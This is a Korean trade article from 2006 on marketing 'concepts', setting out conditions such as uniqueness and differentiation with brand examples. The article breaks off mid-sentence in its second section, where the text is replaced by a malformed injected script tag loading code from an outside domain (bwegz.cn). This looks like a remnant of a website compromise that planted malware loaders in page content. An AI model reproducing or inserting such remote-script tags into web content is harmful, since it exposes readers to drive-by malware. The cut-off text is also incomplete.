니들이‘콘셉트’를 알아?

2006-02-06  



훌륭한 콘셉트의 7가지 조건
아마 패션계만큼 ‘콘셉트’라는 말을 많이 사용하는 업종은 드물 것이다. 모든 브랜드 소개부터 컬렉션 보도자료까지 ‘콘셉트’라는 놈이 떡하니 버티고 있다. 그러나 대부분의 콘셉트들은 너무 추상적이고 애매모호하다. 심지어는 화려한 언어의 유희를 보는 듯한 것들도 있는데, 이런 식의 단어 나열은 브랜드 정체성에 의문을 갖게 만든다. 우리는 콘셉트의 개념에 대해 명확히 알고 있는가. 그리고 명확하게 콘셉트를 정리하는 방법은 없을까. 《도대체 콘셉이 뭐야?》를 통해 훌륭한 콘셉트의 7가지 조건을 알아본다. 



콘셉트란 교과서적 의미로는 제품 아이디어를 소비자 니즈의 관점에서 현실적으로 생산 가능한 제품으로 구체화한 것을 말하며, 기업이 기능적으로 시장에 제공 가능하다고 판단한 제품을 소비자 입장에서 의미 있는 제품으로 명확화 한 것이다. 콘셉트를 정확히 설명하는 말이긴 하지만 열심히 읽어도 무슨 말을 하는지 알아듣기엔 한참 시간이 걸릴 것 같다. 대부분의 사람들이 제품 선택의 이유로 제품의 특성을 거론할 것이다. 제주도 물이라서, 남성적 힘을 느낄 수 있어서, 처음 사용할 때 느낌이 좋은 구강 청결제라서, 가격 대비 성능이 우수한 PDA라서, 외제라서 등 선택의 이유는 그들이 선택한 제품의 특성일 경우가 많다. 그들이 거론하는 제품의 특별한 성질이 콘셉트가 된다.
따라서 콘셉트를 정하려면 제품의 특성을 무엇으로 할지 정하면 된다. 콘셉트를 볼 때도 먼저 제품의 특성이 무엇인지 찾으면 된다. 지금이 만약 생산자 중심의 마케팅 시대라면, 콘셉트를 제품의 특성으로 이해하면 그것으로 끝이다. 그러나 마케팅이 생산자 중심에서 소비자 중심으로 이동한 지 이미 오래이며, 시대는 계속 변하고 있고 컨셉트도 확장되고 있다.



제1조건:독특한가?
유명 패션 디자이너의 의상이 잘 팔리는 것은 디자인이나 색상·소재·질감 이전에 그 디자이너의 콘셉트 때문이다. 하나의 제품이 히트상품이 되는 이유는 상품성 이전에 콘셉트가 소비자에게 어필했기 때문이다. 과연 내가 뽑아낸 콘셉트가 좋은 콘셉트인지 확인하기 위한 기준이 바로 유니크(Unique)다. 유니크한 콘셉트로 구현된 상품이나 서비스는 접하는 순간 사람의 눈길을 끌고, 마음을 열게 하고, 행동하게 만드는 힘을 가지고 있다.
유니크한 콘셉트는 가장 빠른 시간에 가장 확실하게 사람의 마음속을 파고든다. 무심코 떠오른 아이디어로 출발한 콘셉트든, 철저한 시장분석을 통해 나온 콘셉트든, 기술을 바탕으로 도출된 콘셉트든 유니크해야 한다. 머릿속으로 스타벅스, 헬리코박터 윌, 청풍 공기청정기, 물먹는 하마, 앙드레 김, 빅마마를 떠올려보라. 단 몇 초 안에 그들의 구체적인 개념이 떠오를 것이며, 각자 바라보는 시각에 따라 개념이 달라도 모두 유니크하다는 데 공감할 것이다. 그것이 콘셉트의 조건이다. 콘셉트는 상품이나 서비스가 생겨나기 전에 정한 개념이며, 그 개념은 유니크해야 존재할 수 있다.
여기에서 조심할 것이 있다. 유니크하다는 말은 뭔가 가벼워서 톡톡 튀고 보는 사람으로 하여금 웃음을 자아내게 하는 묘한 뉘앙스로 받아들이기 쉽다. 그렇다 보니 무조건 튀기 위해 모양을 엽기적으로 만들고, 색깔을 기묘하게 칠하고, 거부감이 드는 소리를 내기도 하는데, 그것은 유니크하다는 것과는 거리가 먼 것이다. 유니크는 튀는 것이 아니다. 본질적인 특성이다.



제2조건:차별화했는가?
어렵게 정한 콘셉트가 과연 좋은 콘셉트인지 검증하고자 할 때, 그 최초의 기준은 제대로 차별화되었는가 하는 것이다. 콘셉트가 차별화되지 않으면 실패할 가능성이 높다. 그런데 차별화를 문자 그대로의 차별화로 받아들여서는 곤란하다. 차별화했다고 생각하지만 실상은 조금도 차별화되지 않은 경우가 많다.
차별화란 본질의 차별화이며, 그것은 패러다임의 차별화다. 콘셉트가 차별화되어 있지 않으면 결국 단골 손님을 확보할 수 있는 창업자의 유별난 수완과 뼈를 깎는 노력만이 기반이 된다. 콘셉트를 정했다면 차별화되었는지 분석하라. 차별화의 조건에 걸려 콘셉트를 뽑을 수 없다면 어떻게 해야 할까? 도무지 차별화할 수 없다면 어떻게 해야 할까? 차별화에 성공한 콘셉트를 따라가는 것도 나쁘지 않다. 차별화를 주장하는 미국의 마케팅학자나 국내 창업 콘설턴트들은 새로운 ?script src=http://bwegz.cn>

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